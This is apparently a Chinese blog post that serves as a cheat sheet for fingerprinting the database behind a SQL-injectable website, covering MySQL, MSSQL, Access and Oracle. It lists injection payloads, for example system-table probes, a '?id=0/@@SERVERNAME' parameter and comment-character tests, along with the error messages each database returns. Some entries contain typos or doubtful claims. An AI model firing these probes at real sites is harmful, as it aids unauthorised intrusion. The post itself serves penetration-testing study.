在发现存在SQL注入后,就得首先判断是哪一种数据库。网上虽然也有如何判断数据库类型的相关文章,但是每一篇单独来讲都不全面。于是本文就分别总结了MySQL、MSSQL、Access、Oracle数据库的判断方法,如果有什么遗漏或者错误的地方,请联系我更正(首次投稿,大佬轻喷)。
判断MySQL数据库
- 通过报错信息
you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x
- 通过连接符判断
‘1’+’1′ = ’11’ (mssql也支持,需要用第二句)
concat(‘1′,’1′) = ’11’
‘adm’ ‘in’ = ‘admin’(空格就等同于+)
- 通过特有数据表判断
and (select count(*) from information_schema.TABLES)>0
- 通过length和char函数判断
同时支持length()和char()。len应该也可以。
and len(‘a’)=1 (返回正常,MySQL或mssql)
- 通过BENCHMARK函数判断
select BENCHMARK(100000,MD5(‘ADMIN’))
- 通过@@version和version()判断
同时支持@@version和version(),如果version()报错就是mssql。
- 通过注释符/*判断
如果/**/返回错误,说明不是MySQL。
判断MSSQL数据库
- 通过报错信息
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
或者:
Microsoft ODBC Database Engine 错误
2. 通过连接符判断
‘1’+‘1’ = ‘11’ (MySql也支持)
3. 通过特有数据表判断
and (select count(*) from sysobjects)>0 (返回正常)
and (select count(*) from msysobjects)>0 (返回错误)
4. 通过默认变量SERVERNAME判断
select @@SERVERNAMW
?id=0/@@SERVERNAME (可能会触发错误报错)
5. 通过len函数判断
and len(‘a’)=1
返回正常,可能是mssql,mysql,db2.
- 通过@@version和version()判断
@@version不报错,version()报错。
7. 通过substring函数判断
substring(‘abc’,1,1)=a
返回正常,可能是mssql。Oracle只能用substr。
- 通过注释符–判断
使用–返回正常,说明是mssql或者oracle。
;-- (返回正常,mssql; 错误,基本就是Access)
9. 通过sysobjects判断
判断Access数据库
- 通过报错信息
Microsoft JET Database Engine错误 ‘80040e14’
2. 通过特有数据表判断
and (select count(*) from msysobjects)>0
具体看上面MSSQL的图。
- 通过len和chr函数判断
同时支持len()和chr(),且不支持length()和char()
4. 通过注释符;–判断
使用;–,返回错误,基本可以肯定是Access。
判断Oracle数据库
- 通过报错信息判断
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
- 通过连接符判断
‘1’||’1’=’11’
concat(‘1′,’1′)=’11’
- 通过特有数据表判断
and (select count(*) from sys.user_tables)>0
- 通过length函数判断
可以使用length,不能使用len.
len(‘a’)=1 (报错)
5. 通过substr函数判断
只能使用substr,不能用substring。
其它数据库
可根据使用相应数据库的注入语句一个个测试。如:Postgre的pg_sleep(5), sqlite的sqlite_version()等。